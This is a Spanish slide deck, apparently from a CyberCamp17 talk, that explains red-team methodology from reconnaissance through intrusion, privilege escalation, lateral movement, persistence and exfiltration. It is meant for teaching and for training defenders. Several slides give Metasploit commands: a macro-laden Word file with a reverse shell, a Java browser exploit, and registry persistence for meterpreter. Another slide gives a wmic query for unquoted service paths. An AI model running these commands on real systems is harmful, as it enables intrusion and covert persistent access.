Está en la página 1de 44

RedTeam, el hacking

en otra dimensión
0

Alejandro Ramos
*
@aramosf
*

#CyberCamp17
Agenda
*

§ Tests de intrusión.
§ Introducción al Red team
0
§ Fases de un Red Team

2
Test de intrusión

Método para evaluar la seguridad de un


sistema o red de sistemas de
información simulando el ataque por
un intruso
¿Por qué realizar un Test de intrusión?

q Parte por la necesidad de comprobar cual es el


impacto real de una vulnerabilidad mediante la
realización de pruebas controladas.

q Que no se diagnostique una enfermedad no


significa que no exista, se busca la detección
de vulnerabilidades no conocidas.
Motivaciones.

§ Foto temporal del estado global de seguridad.


§ Cumplimientos normativos y legales.
§ Asegurarse de que no habrá riesgos en pases
previos a puestas en producción.
§ Documento base para lanzar otros proyectos con
contramedidas
¿Origen?

} Externos, por ejemplo desde Internet


} Internos, simulando un acceso físico privilegiado.
} Externo con accesos privilegiados.
◦ Acceso remoto con VPN
◦ Redes wireless
Bruce Schneier – CTO IBM Resilient. Preparación
*

7
El adversario ha cambiado.
*

8
Red Team.
*

The Red Team is a group of full-time staff within


<company> that focuses on breaching client
infrastructure, platform and client own tenants and
applications. They are the dedicated adversary (a group
of ethical hackers) performing targeted and persistent
attacks.
- Microsoft
Objetivo medible mediante:
– *Tiempo medio para comprometer - Mean Time to
*
Compromise (MTTC)
*
• *Tiempo medio para escalar privilegios o pwnage - Mean
Time to Privilege Escalation or “Pwnage” (MTTP)
Alex Stamos – CSO Facebook. Necesidad
*

10
Blue Team.

The Blue Team is comprised of either a dedicated set of



security responders or members from across the security

incident response, Engineering and Operations organizations.

-Microsoft
Objetivo medible mediante:
• Tiempo medio de detección - Mean-Time to Detect (MTTD)
• Tiempo medio de recuperación - Mean-Time to Recovery (MTTR)

Predecir Prevenir Detectar Responder


Metodología: Assume Breach (Microsoft)

Metodología que da por perdida la primera parte de la


batalla, consiste en detectar gaps en las siguientes
tácticas, técnicas y procedimientos (TTP):

§ Detección de ataques y penetraciones.


§ Respuesta a los ataques y penetraciones.
§ Recuperación de la fuga, modificación o compromiso de
información.
§ Prevención de futuros ataques y penetración.
Red / Blue

El objetivo del equipo rojo

es ENTRENAR al equipo azul.


*

13
Escenarios.
*
Fase creativa del ataque dónde se identifican
0
los ataques más probables (y realistas):
0

§ Con menor coste y mayor efectividad.


§ Con menor riesgo de ser detectados.
§ Menos complejos tecnológicamente.
§ Permanecer persistente durante el tiempo que sea
necesario.
§ Que permitan evaluar la falta de un control de seguridad
*
o el buen funcionamiento de un proceso.

Siempre pensando en el peor escenario posible.


14
Vida de un ataque
*

15
Reconocimiento inicial
*

16
Reconocimiento inicial - 2
*

17
Identificación.
*
Consiste en inventariar y conocer el objetivo al
0
máximo posible para elaborar el ataque y definir

los escenarios de prueba.


0

§ Activos tecnológicos. § Proveedores.


§ IT § Empleados.
§ Nube § Instalaciones físicas.
*
§ BYOD § Oficinas centrales.
§ IOT § Otras ubicaciones.
§ OT § Centros de datos.
§ RSS
§ […]
*

18
Identificación.
Mediante técnicas OSINT

Referencias:
§ Awesome OSINT List:
https://github.com/jivoi/aweso
me-osint

§ OSINTFramework:
http://osintframework.com/

19
Ejempplo Identificación. Sublist3r
*

20
Ejemplo Identificación. Spiderfoot
*

21
Intrusión
*

22
Intrusión.
*

Los mecanismos más habituales para realizar la intrusión por


un red team son:

§ Spear Phishing.
*
§ Watering hole.
§ Vulnerabilidades.
*
§ Conocidas
§ 0days
§ Física
§ […]

23
Intrusión
*

§ Herramientas que automatizan y facilitan el proceso.


0
§ Metasploit.
§ Exploits públicos.
§ SET.

§ Elaboración de exploits para vulnerabilidades


conocidas.
§ CVEs identificados.

§ Descubrimiento de nuevas vulnerabilidades.


§ Fuzzing

24
Ejemplo Intrusión. Java/Macro.

§ Watering Hole – Java


§ use exploit/multi/browser/java_jre17_jmxbean_2
§ set PAYLOAD java/meterpreter/bind_tcp
§ run

§ Macro Office
§ msfconsole –x ‘use
exploit/multi/fileformat/office_word_macro; set
payload windows/shell/reverse_tcp; set filename
test.docm; set body Hola; set lhost
192.168.76.157; set lport 4444; exploit –y’
§ msfconsole –x ‘use multi/handler; set lport
4444; run’

25
Establecer repositorio.
*

Ubicación en un sistema comprometido en el que


“trabajar”:

§ Descarga de otras herramientas.


§ Exploits para otras vulnerabilidades o escalar privilegios.
§ Utilidades para identificar la red.
§ Aplicaciones de exfiltración de información.
§ Descarga de información obtenida de la red.

26
Escalar privilegios.

Obtener privilegios para acceder a nuevos sistemas e


información. También permite deshabilitar protecciones de
seguridad como el antivirus.

Dos tipos de escalada de


Mediante privilegios:
§ Vulnerabilidades § Escalada horizontal
§ De Microsoft,
§ Cambiar entre usuarios con los
§ DLL Injection mismos privilegios
§ Errores de configuración § Escalada vertical
§ Servicios: sin comillas, permisos
§ Obtener mayores privilegios:
incorrectos…
□ Unix: UID>0 à UID=0
§ Scripts con contraseñas.
□ Windows: usuario à
§ Contraseñas de servicios débiles Administrador/SYSTEM
§ Acceso físico al sistema
27
Ejemplo: utilizar vulnerabilidades no parcheadas

§ Existen vulnerabilidades que permiten el escalado de


privilegios
§ SSOO, Ejemplo: Hot Potato, MS16-032, etc.
§ Aplicaciones que se ejecutan con privilegios SYSTEM: Ejemplo:
Antivirus
§ Herramientas para analizar parches como Windows Exploit
Suggester:

Windows Exploit Suggester: https://github.com/GDSSecurity/Windows-Exploit-Suggester


Demo Escalada de Privilegios.
*

29
Ejemplo: Servicios sin comillas.

Los servicios deben llamarse con comillas o el sistema


operativo tratará de abrir un ejecutable en cada espacio.
§ Ejemplo: c:\Program Files\App Dir\My App.exe
Ø C:\Program.exe
Ø C:\Program Files\App.exe
Ø C:\Program Files\App Dir\My.exe
§ Si existen permisos para crear el ejecutable: Vulnerable. Para listar
los servicios sin comillas:
¨ wmic service get name,displayname,pathname,startmode |findstr /i
"auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Ejemplo Escalada con PowerUp
*
Reconocimiento interno.
*

El reconocimiento interno consiste en identificar activos dónde haya


información o se realicen procesos relevantes.

§ Activos críticos en la arquitectura:


§ Active Directory.
§ Identificación de elementos y
§ Gestión de Identidad.
controles de seguridad:
§ Bases de datos.
§ SIEM
§ Sistemas de ficheros.
§ Firewalls
§ ….
§ NIDS/HIDS
§ Otros sistemas con información § Sistemas de DLP
relevante: § … Cualquier cosa que pueda
§ Estaciones de trabajo hacer saltar una alarma.
§ Backups
§ …

32
Reconocimiento interno.
*

Lanzar las preguntas oportunas:

§ ¿Hay DHCP?
§ ¿Cuál es el direccionamiento ÎP de la red?
§ ¿DNS y puerta de enlace?
§ ¿Tenemos privilegios en el sistema local?
§ ¿Hay Antivirus?
§ ¿La red está segmentada?
§ ¿Dirección del proxy o método para salir a Internet?
*
§ ¿Wireless?
§ ¿Impresoras en red?
§ ¿Teléfonos VoIP?

33
Movimiento lateral
*

34
Movimiento lateral.

El movimiento lateral consiste en vulnerar otros sistemas para


obtener más información o mayores privilegios en la red.

Se realiza mediante:
§ Ataques de red – MiTM
§ Reutilización de contraseñas –PtH
§ Otras vulnerabilidades en otros sistemas
§ Errores de configuración.

35
Movimiento lateral. Ejemplo

§ Cazar credenciales de un administrador de dominio.


§ Localizar un servidor con acceso a toda la red: rutas
§ Si tu “no llegas”, algún usuario de la red podrá.
§ Revisar servidores, sistemas de ficheros, etc.
PCs de usuario Dpto. 1 PCs de usuario Dpto. 2
Ejemplo

AD

Srv. de Srv de
Antivirus impresoras

Servidores DMZ Servidores de Backend

36
Ejemplo de movimiento lateral. Salto de redes.
*

Linux Windows 7
Interfaz 2

10.0.2.6

Interfaz 1

10.0.2.5 Interfaz 1

192.168.1.195

Interfaz 1

192.168.1.209

Kali

37
Ejemplo movimiento lateral. Pivoting

38
Ejemplo movimiento lateral. PtH
*

39
Mantener persistencia
*

El objetivo de la persistencia es garantizar el acceso al a


infraestructura sin ser detectado.

§ Instalando puertas traseras en sistemas


§ Aplicaciones (tipo RAT) que permiten acceder directamente.
§ Creando usuarios y contraseñas para usar posteriormente.
§ Habilitando accesos remotos (rdp, ssh o similares)
§ Creando nuevos servicios.
§ Vulnerar el menor número de sistemas posibles.

40
Ejemplo de persistencia.
*

El siguiente método genera una clave en el registro para arrancar


un meterpreter cada vez que el sistema se reinicie.

§ use exploit/windows/local/persistence
§ set payload windows/meterpreter/reverse_tcp
§ set STARTUP SYSTEM
§ set SESSION 1
§ set LHOST 192.168.1.32
§ set LPORT 5554
Una vez Instalada, se abre un socket.
§ run
§ back
§ use exploit/multi/handler
§ set LPORT 5554
§ run

41
Exfiltración.

La exfiltración es la fase durante la que se extrae la información


del perímetro de la organización.
Se realiza utilizando canales encubiertos: covert channels

§ Utilización de proxy HTTP/HTTPS


§ Uso de correo electrónico.
§ Túneles DNS/ICMP

42
Videos y enlaces de referencia.

§ Alex Stamos
§ https://www.youtube.com/watch?v=NB4fPiCc-jc
§ Rob Joyce
§ https://www.youtube.com/watch?v=bDJb8WOJYdA
§ Bruce Schneider
§ https://www.youtube.com/watch?v=ktpSi908kjk

43
Gracias por su atención
0

También podría gustarte